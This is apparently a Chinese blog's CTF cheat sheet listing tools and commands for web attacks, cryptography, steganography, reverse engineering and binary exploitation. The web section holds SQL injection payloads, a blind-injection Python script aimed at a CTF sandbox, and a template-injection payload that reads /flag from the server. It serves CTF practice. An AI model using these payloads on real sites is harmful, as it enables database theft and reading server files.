zoukankan      html  css  js  c++  java
  • [持续更新] CTF 红宝书 by 时光不改

    本篇文章整理了在做CTF练习过程中的各种利用工具和思路,方便自己查找和同样玩CTF的朋友查看。

    WEB 

    sqlmap

    123313 union select 1,2#
    123313 union select 1,database()#
    123313 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli"#
    123313 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag"#
    123313 union select 1,flag from sqli.flag#
    普通手工注入
    报错注入
    import string
    import requests
    
    name = ''
    strall = string.ascii_lowercase + string.digits + string.punctuation
    # for k in range(1,15):
    for j in range(1,50):
        for i in strall:
            # 查数据库名
            # datas = "if(substr(database(),%d,1)='%s',1,(select table_name from information_schema.tables))"% (j,i)
            # 查表名
            # datas = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,j,i)
            # 查列名
            # datas = "if(substr((select column_name from information_schema.columns where table_name='zqjsjpvifa' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
            # 查内容
            # datas = "if(substr((select wdiqllcsoi from sqli.zqjsjpvifa),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
            re = requests.get('http://challenge-0c37e62039a49553.sandbox.ctfhub.com:10080/?id='+datas)
            html = re.text
            # print(html)
            if "ctfhub" in html:
                name += i
                print(name)
                break
    布尔盲注
    时间盲注

    抓包

    Burp

    hackbar

    Fuzz字典 

    https://github.com/TheKingOfDuck/fuzzDicts

    https://github.com/1N3/IntruderPayloads

    Git泄露

    https://github.com/BugScanTeam/GitHack

    https://github.com/WangWen-Albert/JGitHack

    https://github.com/gakki429/Git_Extract

    git 操作
    git log -reflog 用来记录你的每一次命令
    git reset --hard xxxx 回退到某一个版本

    .DS_store泄露  https://github.com/lijiejie/ds_store_exp

    http://java-decompiler.github.io/  java 反编译 

    反序列化  https://www.w3cschool.cn/tools/index?name=unserialize

    https://www.exploit-db.com/       搜tp

    ssti  试试{{config}}有回显,直接打个python3的payload试试

    {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

    PHP弱类型比较

    加密

    rsa

    在线分解大素数  http://www.factordb.com/index.php
    Python的gmpy2、libnum包
    RSATools
    CTF-RSA-tool

    密码分析脚本  https://github.com/jameslyons/python_cryptanalysis

    wolfram  用于各类密码算法分析的在线工具

    quipqiup  自动密码求解器

    栅栏加密  https://www.qqxiuzi.cn/bianma/zhalanmima.php

    猪圈密码解密 http://www.metools.info/code/c90.html

    培根密码  https://tool.bugku.com/peigen/

    杂项

    http://www.efittech.com/hxdec.html  识别汉信码

    angr fuzz  angr安装

    1.安装依赖(基本开发环境):
    sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper
     
    2.virtualenvwrapper初始化:
    首先设置一个环境变量WORKON_HOME
    export WORKON_HOME=$HOME/Python-workhome
    这里的$HOME/Python-workhome就是准备放置虚拟环境的地址
     
    启动virtualenvwrapper.sh脚本
    source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
    注意:可以使用whereis virtualenvwrapper.sh命令查看脚本的位置
     
    3.在python3的环境下安装angr:
    mkvirtualenv --python=$(which python3) angr && pip install angr
     
    4.安装好后在其他的命令在一个新的终端窗口直接运行workon,并没有创建的angr虚拟环境,需要执行下面两条命令才可以:
    export WORKON_HOME=$HOME/Python-workhome
    source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
    可以写一个shell脚本包含两条命令,以后直接运行shell脚本即可。
    
    virtualenvwrapper操作命令: 
     
    创建环境 
    mkvirtualenv env1  
    环境创建之后,会自动进入该目录,并激活该环境。
    
    切换或进入环境 
    workon env1 
    
    列出已有环境 
    workon 
    
    退出环境 
    deactivate 
    
    删除环境 
    rmvirtualenv
    angr安装
    1
    import angr
    
    p = angr.Project('martricks',auto_load_libs=False)
    state = p.factory.entry_state()
    simg = p.factory.simgr(state)
    simg.explore(find=0x400A84,avoid=0x400A90)
    simg.found[0].posix.dumps(0)
    
    2
    import angr
    
    p = angr.Project("martricks")
    simgr = p.factory.simulation_manager(p.factory.full_init_state())
    simgr.explore(find=0x400A84, avoid=0x400A90)
    simgr.found[0].posix.dumps(0)
    fuzz代码

    ASCII 在线转换器

    生成红黑树

    https://gchq.github.io/CyberChef/  编码转换工具

    CaptfEncoder  编码转换工具  https://github.com/guyoung/CaptfEncoder/releases

     rot13

    DAPR 密码破解

    DAPR

    Rabin加密 

    Rabin

     JSFuck  ()+[]!

    Brainfuck/Ook

    jjencode与aaencode解密     $=~[];$={___:++$,$$$$:    ゚ω゚ノ= /`m´)ノ ~┻━┻ / ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) 

    新约佛论禅/佛曰  http://hi.pcmoe.net/buddha.html

    与佛论禅  http://www.keyfc.net/bbs/tools/tudoucode.aspx

    CTF在线工具   http://ctf.ssleye.com/

    cmd5  https://www.cmd5.com/

    盲水印隐写  https://github.com/chishaxie/BlindWaterMark        python bwm.py decode 1.png 2.png flag.png(图片必须在py目录下…)

    扫码  https://online-barcode-reader.inliteresearch.com/

    数据包修复  http://f00l.de/hacking/pcapfix.php

    音频提取数字号码  dtmf2num.exe

                                         

                   

    隐写

    binwalk -e  用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具

    dd if=隐写文件 of=输出文件 skip=偏移 bs=1

    foremost  用来文件还原分离

    Steghide  将文件隐藏到图片或音频中的工具

    安装
    apt-get install steghide
    
    隐藏文件
    steghide embed -cf [图片文件载体] -ef [待隐藏文件]
    steghide embed -cf 1.jpg -ef 1.txt
    
    查看图片中嵌入的文件信息
    steghide info 1.jpg
    
    提取图片中隐藏的文件
    steghide extract -sf 1.jpg
    steghide

    LSB-Steganography  LSB隐写  https://github.com/RobinDavid/LSB-Steganography

    Usage
    LSBSteg.py
    
    Usage:
      LSBSteg.py encode -i <input> -o <output> -f <file>
      LSBSteg.py decode -i <input> -o <output>
    
    Options:
      -h, --help                Show this help
      --version                 Show the version
      -f,--file=<file>          File to hide
      -i,--in=<input>           Input image (carrier)
      -o,--out=<output>         Output image (or extracted file)
    LSB-Steganography

    stegsolve  图片隐写查看器   http://www.caesum.com/handbook/Stegsolve.jar

    stegdetect  自动化数字图像隐写分析工具

    jphide

    检测该图片用的是哪种加密方式
    stegdetect.exe -tjopi -s 10.0 hide.jpg
    
    用stegdetect下的stegbreak字典破解,同样图片和stegbreak.exe在同一目录下
    stegbreak.exe -r rules.ini -f password.txt -r p hide.jpg
    
    使用jphide下的工具JPHS从hide.jpg图片提取出隐藏信息

    snow html隐写  http://fog.misty.com/perry/ccs/snow/snow/snow.html

    snow 是一款在html嵌入隐写信息的软件,
    它的原理是通过在文本文件的末尾嵌入空格和制表位的方式嵌入隐藏信息,
    不同空格与制表位的组合代表不同的嵌入信息。
    snow

    ezgif  GIF 在线分帧工具

    Audacity  一款免费的音频处理软件,常用于音频隐写

    MP3Stego  音频隐写工具

    MSU StegoVideo  AVI 视频隐写

    F5-steganography  F5隐写

    pngcheck  检查PNG图片数据段的工具

    wbs43open  PDF隐写

    宽字节隐写  https://offdev.net/demos/zwsp-steg-js

    视频隐写  ffmpeg -i 里面都是出题人.avi  -f image2 image-%05d.jpg

    Steghide  一个命令行实用程序,可帮助我们隐藏图像或音频文件中的机密数据,它支持JPEG、BMP、WAV和AU文件。

    $ sudo apt install steghide
    
    现在,你可以将机密文件隐藏在图像或音频中,如下所示,我假设你已将要加密的机密文件和图像或音频文件放在同一文件夹中,如果将它们放在不同的文件夹中,则需要在以下命令中提供完整路径:
    
    $ steghide embed -ef secret.txt -cf ostechnix.jpg
    
    系统会要求你输入密码:
    
    Enter passphrase: 
    
    Re-Enter passphrase: 
    
    embedding "secret.txt" in "ostechnix.jpg"... done
    
    在上面的示例中,我将名为secret.txt的文本文件嵌入到名为ostechnix.jpg的图像文件中,你现在可以删除原始的secret.txt文件,因为,我们只是嵌入了一个图像文件,如果要嵌入多个文件,请将它们放在一个文件夹中并压缩,然后按上述方法隐藏它。
    
    要从图像中提取秘密文件,只需运行:
    
    $ steghide extract -sf ostechnix.jpg
    
    输入密码以将其解压缩:
    
    Enter passphrase: 
    
    wrote extracted data to "secret.txt".
    安装和使用Steghide的方法

    Outguess  一个命令行stegnographic工具,用于隐藏图像中的机密文件,目前,它支持PPM、PNM和JPEG图像格式。

    $ sudo apt install outguess
    
    安装后,转到保存机密文件和图像的位置,然后使用以下命令将机密文件嵌入到图像中:
    
    $ outguess -d secret.txt ostechnix.jpg output.jpg
    
    这里,output.jpg文件是包含我们的机密数据文件的文件,保持安全并删除其他所有内容。
    
    你还可以将密码短语添加到输出文件中,如下所示:
    
    $ outguess -k "my secret key:ywnz" -d secret.txt ostechnix.jpg output.jpg
    
    用你自己的密码替换“my secret key:ywnz”。
    
    要提取文件,只需执行以下操作:
    
    $ outguess -r output.jpg secret.txt
    
    如果你使用了密码,则使用此命令:
    
    $ outguess -k "my secret key:ywnz" -r output.jpg secret.txt
    安装和使用Outguess的方法

    逆向

    QEMU full-system

    IDA Pro 一款功能丰富的跨平台多处理器反汇编程序和调试器

    OD

    Ghidra

    Detect It Easy

    jadx-gui  Android/Java反编译

    JEB  Android逆向工具,可以反编译和调试二进制代码

    jd-gui  将 class 文件反编译为 Java 源代码

    Apktool  主要用于逆向 apk 文件。它可以将资源解码,并在修改后可以重新构建它们。

    dnSpy  一款.NET程序调试器和反编译器

    ApkIDE  

    dex2jar

    PWN

    gdb linux程序动态调试  apt-get install gdb

    gdb-peda  gdb调试工具

    gdb-peda安装

    objdump和readelf  快速查看二进制文件信息的工具

    pwntools  PWN工具集,写exp和poc的工具  pip install pwntools  http://docs.pwntools.com/en/stable/

    checksec  检查保护机制   apt-get install checksec

    ROPgadget  找ROP链接  https://github.com/JonathanSalwan/ROPgadget.git

    one_gadge    thttps://github.com/david942j/one_gadget  gem install one_gadget

    LibcSearcher  泄露libc版本  (GitHub下载极慢,gitee)

    安装
    git clone https://github.com/lieanu/LibcSearcher.git
    cd LibcSearcher
    python setup.py develop
    LibcSearcher

    libc-database  https://github.com/niklasb/libc-database

    DynELF  查到libc的版本

    一条集合安装 apt-get install nasm gdb gcc binutils hexedit

    CTF-pwn-tips  https://github.com/Naetw/CTF-pwn-tips

    格式化字符串漏洞检测  https://github.com/L4ys/LazyIDA 

  • 相关阅读:
    Windows 10 Universal App 开发记录
    Windows Phone 8.1 开发会用到的方法
    Android Activity设置全屏
    Android视频录制命令screenrecord
    Android ScrollView中嵌套ListView只显示一行的解决办法
    Android 4.4.4: java.lang.SecurityException: Package com.android.settings does not belong to 1001
    自定义Android spinner样式并添加监听事件
    GSON快速实现内部类
    android的Banner轮播图框架
    Okhttp与Okhttputils的用法及区别
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/12550402.html
Copyright © 2011-2022 走看看